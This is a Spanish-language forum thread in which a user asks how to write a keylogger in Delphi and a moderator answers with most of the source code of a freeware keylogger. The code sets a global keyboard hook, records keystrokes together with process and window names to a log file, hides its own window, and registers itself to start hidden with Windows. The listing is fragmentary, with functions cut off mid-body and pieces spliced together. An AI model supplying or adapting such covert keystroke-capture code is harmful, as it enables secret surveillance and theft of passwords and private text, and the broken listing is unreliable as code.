Estoy desarrollando una aplicación en Borland Delphi para realizar una serie de tareas en el equipo. Necesito capturar las pulsaciones del teclado durante unos momentos, necesito saber en qué ventana se ha realizado la pulsación y qué teclas se han pulsado ¿cómo puedo hacer un keylogger con Delphi? ¿es posible?
Publicado:
Dom Ene 24, 2010 9:29 pm
alonsojpd Administrador/Moderador
Registrado: Sep 16, 2003 Mensajes: 2687
Asunto: Re: Desarrollar utilidad keylogger con Delphi
Anuncios
varios escribió:
Estoy desarrollando una aplicación en Borland Delphi para realizar una serie de tareas en el equipo. Necesito capturar las pulsaciones del teclado durante unos momentos, necesito saber en qué ventana se ha realizado la pulsación y qué teclas se han pulsado ¿cómo puedo hacer un keylogger con Delphi? ¿es posible?
En el siguiente enlace tienes la descarga gratuita (freeware) con código fuente incluido (100% open source) de la aplicación AjpdSoft Keylogger que te servirá como ejemplo de captura de pulsación de teclas:
var
registroPulsacion : TRegistro;
F : TextFile; //para guardar las pulsaciones de teclas
keyloggerActivado : Boolean = False;
ultimo : TUltimo;
ShortcutState : Array[0..1] of Boolean =(False,False);
//ShortcutState[0]= true si Ctrl est enfoncé
//ShortcutState[1]= true si N est Enfoncé
function GetModule(ProcessID : Cardinal) : ShortString;
var
ProcessEntry : TProcessEntry32;
Snap : Cardinal;
begin
Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
try
ProcessEntry.dwSize := SizeOf(ProcessEntry);
if (Process32First(Snap, ProcessEntry)) then
begin
repeat
if ProcessEntry.th32ProcessID = ProcessID then
begin
Result := String(ProcessEntry.szExeFile);
Break;
end;
until not (Process32Next(Snap, ProcessEntry));
end;
finally
Windows.CloseHandle(Snap);
end;
end;
function mensajeConCheck (const mensaje, mensajeCheck: string;
var valorCheck : boolean; tipoMensaje: TMsgDlgType;
botonesMensaje: TMsgDlgButtons) : Word;
var
chk : TCheckBox;
frm : TForm;
begin
frm := CreateMessageDialog(mensaje, tipoMensaje, botonesMensaje);
with frm do
try
chk := TCheckBox.Create(frm);
with chk do
begin
Checked := valorCheck;
Caption := mensajeCheck;
Left := 8;
Top := frm.Height - Height - 12;
Width := frm.width - left - 1;
Parent := frm;
end;
Height := Height + chk.Height;
Position := poScreenCenter;
//Lee un booleano de un INI
function leBoolINI (clave, cadena : string; defecto : boolean) : boolean;
begin
with tinifile.create (changefileext(paramstr(0),'.INI')) do
try
result := readbool (clave, cadena, defecto);
finally
free;
end;
end;
//escribe un Booleano en un INI
procedure esBoolINI (clave, cadena : string; valor : boolean);
begin
with tinifile.create (changefileext(paramstr(0),'.INI')) do
try
writeBool (clave, cadena, valor);
finally
free;
end;
end;
procedure TformMenuPrincipal.OnWmCopyData (var Msg: TMessage);
var
WText: array[0..255] of Char;
begin
if Msg.WParam = 1 then
begin
with PKeybrdInfo(PCopyDataStruct(Msg.LParam)^.lpData)^ do
begin
if not Visible then
begin
case VirtualKey of
17 : ShortcutState[0] := (KeyStore and $80000000)=0; //tecla control pulsada
78 : ShortcutState[1] := (KeyStore and $80000000)=0; //tecla "n" pulsada
end;
if ShortcutState[0] and ShortcutState[1] and
((KeyStore and $20000000)<> 0) then
begin
ShortcutState[0] := False;
ShortcutState[1] := False;
self.Visible := True;
end;
end;
if (CurrentProcessId <> ultimo.ProcessID) or
(CurrentControl <> ultimo.Control) or
(WindowHWND <> ultimo.Window) then
begin
if txtLog.Lines.Count > 0 then
guardarLog;
txtLog.Lines.Clear;
registroPulsacion.nombreProceso := GetModule(CurrentProcessId);
GetWindowText(WindowHWND, WText, SizeOf(WText));
registroPulsacion.nombreVentana := String(WText);
registroPulsacion.fechaHora := Now;
end;
if (KeyStore and $80000000) = 0 then
postMessage (txtLog.Handle, WM_KEYDOWN, VirtualKey, KeyStore)
else
PostMessage(txtLog.Handle, WM_KEYUP, VirtualKey, KeyStore);
ultimo.ProcessID:= CurrentProcessId;
ultimo.Control:= CurrentControl;
ultimo.Window:= WindowHWND;
end;
end;
end;
procedure TformMenuPrincipal.activarKeylogger (activado : boolean);
begin
if Active then
BeginKeybrdHook (Handle)
else
begin
EndKeybrdHook;
if txtLog.Lines.Count > 0 then
guardarLog;
txtLog.Lines.Clear;
end;
btActivarKeylogger.Caption := estadoBoton [activado];
keyloggerActivado := activado;
end;
procedure TformMenuPrincipal.btActivarKeyloggerClick(Sender: TObject);
begin
activarKeylogger (not keyloggerActivado);
end;
procedure TformMenuPrincipal.FormClose(Sender: TObject;
var Action: TCloseAction);
var
registroConf : TRegistry;
S : string;
begin
if keyloggerActivado then
activarKeylogger (False); //detenemos la captura de pulsación de teclas
S := #0;
registroConf := TRegistry.Create;
try
registroConf.RootKey := HKEY_LOCAL_MACHINE;
if registroConf.OpenKey (claveRUNWindows, False) then
begin
if opIniciarConWindows.Checked then
begin
registroConf.WriteString(nombreClave, '"' + ParamStr(0) + '" ' + '"oculto"');
end
else
registroConf.DeleteValue (nombreClave);
end
else
MessageDlg ('No se ha podido guardar el valor en el registro ' +
'de configuraciones.', mtWarning, [mbok], 0);
finally
registroConf.Free;
end;
end;
procedure TformMenuPrincipal.bOcultarAplicacionClick(Sender: TObject);
var
resultadoCheck : Boolean;
resultadoMensaje : Word;
begin
if keyloggerActivado then
begin
resultadoMensaje := mrOk;
if leBoolINI ('Configuración', 'Aviso mostrar aplicación', True) then
begin
resultadoCheck := False;
resultadoMensaje :=
mensajeConCheck ('La aplicación se ocultará.' + chr(13) +
'Para volver a mostrarla pulse Control + Alt + N',
'No volver a mostrar este mensaje',
resultadoCheck, mtInformation, [mbOk]);
if resultadoCheck then
esBoolINI ('Configuración', 'Aviso mostrar aplicación', False);
end;
if resultadoMensaje = mrOk then
self.Visible := false;
end
else
begin
if MessageDlg ('Debe iniciar la captura de teclas (keylogger) ' +
'antes de ocultar la aplicación.' + #10 + #10
+ '¿Desea lanzar la captura de teclas ahora?',
mtConfirmation, [mbYes, mbNo], 0) = mrYes then
begin
activarKeylogger (True);
bOcultarAplicacion.Click;
end;
end;
end;
procedure TformMenuPrincipal.btEliminarFicheroLogClick(Sender: TObject);
var
resultadoCheck : boolean;
resultadoMensaje : Word;
begin
resultadoCheck := false;
if FileExists (ficheroLog) then
begin
resultadoMensaje := mrYes;
if leBoolINI ('Configuración', 'Aviso eliminar fichero log', True) then
begin
resultadoMensaje :=
mensajeConCheck ('¿Está seguro que desea eliminar ' +
'el fichero de log (pulsaciones)?',
'No volver a pedir esta confirmación',
resultadoCheck, mtConfirmation, [mbYes, mbNo]);
end;
esBoolINI ('Configuración', 'Aviso eliminar fichero log', not resultadoCheck);
if resultadoMensaje = mrYes then
DeleteFile(ficheroLog)
end
else
MessageDlg ('El fichero de log de pulsaciones (keylogger) no existe.',
mtWarning, [mbOk], 0);
end;
procedure TformMenuPrincipal.btMostrarLogClick(Sender: TObject);
begin
if FileExists(ficheroLog) then
ShellExecute (0, 'open', ficheroLog, Nil, '', SW_SHOW)
else
MessageDlg ('No existe el fichero de log de pulsaciones (keylogger).',
mtInformation, [mbOk], 0);
end;
procedure TformMenuPrincipal.btCerrarClick(Sender: TObject);
begin
Close;
end;
SendMessage(PMapFile.HMouseDestWindow, WM_COPYDATA, 0,
LongInt(@CopyDataStruct));
end;
end;
if Code < HC_ACTION then
Result := CallNextHookEx(PMapFile^.HMouseHook, Code, Msg, MouseHook);
end;
function BeginMouseHook(HDest : THandle):Boolean;stdcall;
begin
Result := False;
if (HDest <> 0) and (PMapFile^.HMouseHook = 0) then
begin
PMapFile^.HMouseDestWindow := HDest;
PMapFile^.HMouseHook := SetWindowsHookEx(WH_MOUSE,
@MouseProc, HInstance, 0);
Result := True;
end;
end;
function KeyboardProc(Code : integer; VirtualKeyCode : WPARAM;
KeyStoreMsgInfo : LPARAM) : LRESULT; stdcall;
var
KeybrdInfo : TKeybrdInfo;
CopyDataStruct : TCopyDataStruct;
begin
Result := 0;
if Code = HC_ACTION then
begin
KeybrdInfo.VirtualKey := VirtualKeyCode;
KeybrdInfo.KeyStore := KeyStoreMsgInfo;
KeybrdInfo.CurrentProcessId := GetCurrentProcessId;
KeybrdInfo.CurrentControl := GetFocus;
KeybrdInfo.WindowHwnd := GetActiveWindow;
CopyDataStruct.cbData := SizeOf(KeybrdInfo);
CopyDataStruct.lpData := @KeybrdInfo;
SendMessage(PMapFile^.HKeybrdDestWindow, WM_COPYDATA,
1, LongInt(@CopyDataStruct));
end;
if Code < HC_ACTION then
Result:= CallNextHookEx(PMapFile^.HKeybrdHook,
Code, VirtualKeyCode, KeyStoreMsgInfo);
end;
function BeginKeybrdHook(HDest : THandle) : Boolean; stdcall;
begin
Result := False;
if (HDest <> 0) and (PMapFile^.HKeybrdHook = 0) then
begin
PMapFile^.HKeybrdDestWindow := HDest;
PMapFile^.HKeybrdHook := SetWindowsHookEx(WH_KEYBOARD,
@KeyboardProc, HInstance, 0);
Result := True;
end;
end;
Puede publicar nuevos temas en este foro No puede responder a temas en este foro No puede editar sus mensajes en este foro No puede borrar sus mensajes en este foro No puede votar en encuestas en este foro
Visita nuestro nuevo sitio web con programas y contenidos actualizados: Proyecto A